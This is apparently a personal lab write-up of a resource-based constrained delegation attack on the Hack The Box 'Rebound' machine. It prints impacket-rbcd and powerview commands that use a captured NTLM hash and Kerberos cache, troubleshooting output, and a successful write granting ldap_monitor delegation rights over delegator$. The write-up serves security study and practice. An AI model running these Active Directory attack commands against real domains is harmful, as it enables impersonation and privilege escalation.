InfoSec LAB

Rebound_RBCD_Attack

Created: 6 min read

RBCD Attack

The initial impersonation attempt has failed with an error that led to a speculation that the delegator$ account is configured without [[#[Protocol Transition](https //en.hackndo.com/constrained-unconstrained-delegation/ s4u2self)|protocol transition]] (Kerberos ONLY) therefore, i attempt to resolve the error by performing the rbcd attack

In RBCD, SPNs determines who gets to access by setting them to the ms-DS-AllowedToActOnBehalfOfOtherIdentity attribute If an account(delegator$), having the capability to edit the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of another object (SPN) is compromised, an attacker can abuse it to populate that attribute, hence configuring that object for RBCD

for this attack to work, the attacker needs to populate the msDS-AllowedToActOnBehalfOfOtherIdentity attribute with the SID of an account that Kerberos can consider as a service. A service ticket will be asked for it. In short, the account must be either;

  • a user account having a ServicePrincipalName set
  • an account with a trailing $ in the sAMAccountName (i.e. a computer account or delegator$ in this case)
  • any other account and conduct spn-less rbcd with U2U (User to User) authentication

Furthermore for this delegation to work, the attribute ADS_UF_NOT_DELEGATED of the user must not be positioned. It is an attribute that allows delegation to be banned in order to protect the account of delegation-related attacks.

while there are many ways to go about this, i will be using impacket’s rbcd.py since gaining a valid PS session with the delegator$ account appears to be out of window

Critical Mistake

┌──(kali㉿kali)-[~/archive/htb/labs/rebound]
└─$ impacket-rbcd 'rebound.htb/delegator@dc01.rebound.htb' -hashes aad3b435b51404eeaad3b435b51404ee:9b0ccb7d34c670b2a9c81c45bc8befc3 -delegate-to 'tbrady' -dc-ip $IP -action read 
Impacket v0.11.0 - Copyright 2023 Fortra
 
[-] automatic bind not successful - strongerAuthRequired
 
┌──(kali㉿kali)-[~/archive/htb/labs/rebound]
└─$ impacket-rbcd 'rebound.htb/delegator@dc01.rebound.htb' -hashes aad3b435b51404eeaad3b435b51404ee:9b0ccb7d34c670b2a9c81c45bc8befc3 -delegate-to 'tbrady' -dc-ip $IP -action read -use-ldaps
Impacket v0.11.0 - Copyright 2023 Fortra
 
[-] automatic bind not successful - invalidCredentials
 
┌──(kali㉿kali)-[~/archive/htb/labs/rebound]
└─$ impacket-rbcd 'rebound.htb/delegator@dc01.rebound.htb' -hashes aad3b435b51404eeaad3b435b51404ee:9b0ccb7d34c670b2a9c81c45bc8befc3 -k -delegate-to 'tbrady' -dc-ip $IP -action read -use-ldaps
Impacket v0.11.0 - Copyright 2023 Fortra
 
[-] invalid server address
 
┌──(kali㉿kali)-[~/archive/htb/labs/rebound]
└─$ KRB5CCNAME=delegator\$@dc01.rebound.htb.ccache impacket-rbcd 'rebound.htb/delegator$' -k -no-pass -delegate-to 'tbrady' -dc-ip $IP -action read           
Impacket v0.11.0 - Copyright 2023 Fortra
 
[-] invalid server address
 
┌──(kali㉿kali)-[~/archive/htb/labs/rebound]
└─$ KRB5CCNAME=delegator\$@dc01.rebound.htb.ccache impacket-rbcd 'rebound.htb/delegator$' -k -no-pass -delegate-to 'tbrady' -dc-ip $IP -action read -use-ldaps
Impacket v0.11.0 - Copyright 2023 Fortra
 
[-] invalid server address

Bothpass_the_hash andpass_the_ticket techniques failed Most notably, invalid server address keeps coming up

This particular error has been brought up to my attention so many times during this engagement. The Python ldap3 package appears to be UNABLE to resolve the host

Solution

The solution was rather simple

It’s because I have set the target domain,rebound.htb, as a host. A critical mistake on my end

Therefore, it would be necessary to update it to the host only. Either the hostname,DC01, or the FQDN, dc01.rebound.htb

┌──(kali㉿kali)-[~/archive/htb/labs/rebound]
└─$ KRB5CCNAME=delegator\$@dc01.rebound.htb.ccache impacket-rbcd 'rebound.htb/delegator$' -k -no-pass -delegate-to 'tbrady' -dc-ip $IP -action read
Impacket v0.11.0 - Copyright 2023 Fortra
 
[-] [{'result': 8, 'description': 'strongerAuthRequired', 'dn': '', 'message': '00002028: LdapErr: DSID-0C090259, comment: The server requires binds to turn on integrity checking if SSL\\TLS are not already active on the connection, data 0, v4563\x00', 'referrals': None, 'saslCreds': b'\xa1\x140\x12\xa0\x03\n\x01\x00\xa1\x0b\x06\t*\x86H\x82\xf7\x12\x01\x02\x02', 'type': 'bindResponse'}]
 
┌──(kali㉿kali)-[~/archive/htb/labs/rebound]
└─$ KRB5CCNAME=delegator\$@dc01.rebound.htb.ccache impacket-rbcd 'rebound.htb/delegator$' -k -no-pass -delegate-to 'tbrady' -dc-ip $IP -action read -use-ldaps -debug
Impacket v0.11.0 - Copyright 2023 Fortra
 
[+] impacket library installation path: /home/kali/.local/lib/python3.11/site-packages/impacket
[+] using kerberos cache: delegator$@dc01.rebound.htb.ccache
[+] SPN LDAP/DC01@REBOUND.HTB not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for KRBTGT/REBOUND.HTB@REBOUND.HTB
[+] Using TGT from cache
[+] trying to connect to kdc at 10.10.11.231:88
[+] Initializing domainDumper()
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty

It works now with the -use-ldaps flag

msDS-AllowedToActOnBehalfOfOtherIdentity

Now that I have confirmed the functioning of the impacket-rbcd tool, I can get to the target selection part. Because RBCD attack work the best with an account with SPN that Kerberos can consider as a service, the target account must be a service account.

While checking through the service accounts, I came across a great finding on the ldap_monitor account

Target Selection

┌──(kali㉿kali)-[~/archive/htb/labs/rebound]
└─$ KRB5CCNAME=delegator\$@dc01.rebound.htb.ccache powerview rebound.htb/@dc01.rebound.htb -k --no-pass --dc-ip $IP
[2023-09-14 15:45:37] LDAP Signing NOT Enforced!
(LDAPS)-[dc01.rebound.htb]-[rebound\delegator$]
PV > Get-ADObject ldap_monitor                           
objectclass                       : top
                                    person
                                    organizationalPerson
                                    user
cn                                : ldap_monitor
distinguishedname                 : CN=ldap_monitor,CN=Users,DC=rebound,DC=htb
instancetype                      : 4
whencreated                       : 20230408090756.0Z
whenchanged                       : 20230914124211.0Z
usncreated                        : 69304
usnchanged                        : 168101
name                              : ldap_monitor
objectguid                        : {cf7691bd-5b32-407d-9d42-262013f10288}
useraccountcontrol                : NORMAL_ACCOUNT
                                    DONT_EXPIRE_PASSWORD
badpwdcount                       : 0
codepage                          : 0
countrycode                       : 0
badpasswordtime                   : 04/08/2023
lastlogoff                        : 0
lastlogon                         : 09/14/2023
pwdlastset                        : 04/08/2023
primarygroupid                    : 513
objectsid                         : S-1-5-21-4078382237-1492182817-2568127209-7681
accountexpires                    : 9223372036854775807
logoncount                        : 8
samaccountname                    : ldap_monitor
samaccounttype                    : 805306368
serviceprincipalname              : ldapmonitor/dc01.rebound.htb
objectcategory                    : CN=Person,CN=Schema,CN=Configuration,DC=rebound,DC=htb
dscorepropagationdata             : 20230825220811.0Z
                                    16010101000000.0Z
lastlogontimestamp                : 133391689315027157

The believed-to-be user account,ldap_monitor, turns out to be a valid service account with a SPN

The SPN is ldapmonitor/dc01.rebound.htb Since the ldap_monitor account has a valid SPN, KDC would consider this account as a service account. It’s a perfect target

Execution

┌──(kali㉿kali)-[~/archive/htb/labs/rebound]
└─$ KRB5CCNAME=delegator\$@dc01.rebound.htb.ccache impacket-rbcd 'rebound.htb/delegator$@rebound.htb' -k -no-pass -delegate-from 'ldap_monitor' -delegate-to 'delegator$' -dc-ip $IP -action write -use-ldaps -debug
Impacket v0.11.0 - Copyright 2023 Fortra
 
[+] Impacket Library Installation Path: /home/kali/.local/lib/python3.11/site-packages/impacket
[+] Using Kerberos Cache: delegator$@dc01.rebound.htb.ccache
[+] SPN LDAP/DC01@REBOUND.HTB not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for KRBTGT/REBOUND.HTB@REBOUND.HTB
[+] Using TGT from cache
[+] Trying to connect to KDC at 10.10.11.231:88
[+] Initializing domainDumper()
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ldap_monitor can now impersonate users on delegator$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     ldap_monitor   (S-1-5-21-4078382237-1492182817-2568127209-7681)

The command above writes the SID of the ldap_monitor account to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the delegator$ account

This can be checked for confirmation. Querying for the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the delegator$ account now shows the SID of the ldap_monitor account The delegator$ account never had the msDS-AllowedToActOnBehalfOfOtherIdentity attribute before

Since the delegator$ account already has the delegation right granted from the existing browser/dc01.rebound.htb SPN, it can pass down the delegation right to other users (i.e. ldap_monitor), effectively “elevating” the privileges of the ldap_monitor account evenly to the delegator$ account

This would mean that the ldap_monitor account is now able to access the browser/dc01.rebound.htb SPN just as much as the delegator$ account can

It’s just a KCD attack with a slight twist from now

Interactive Graph View

Backlinks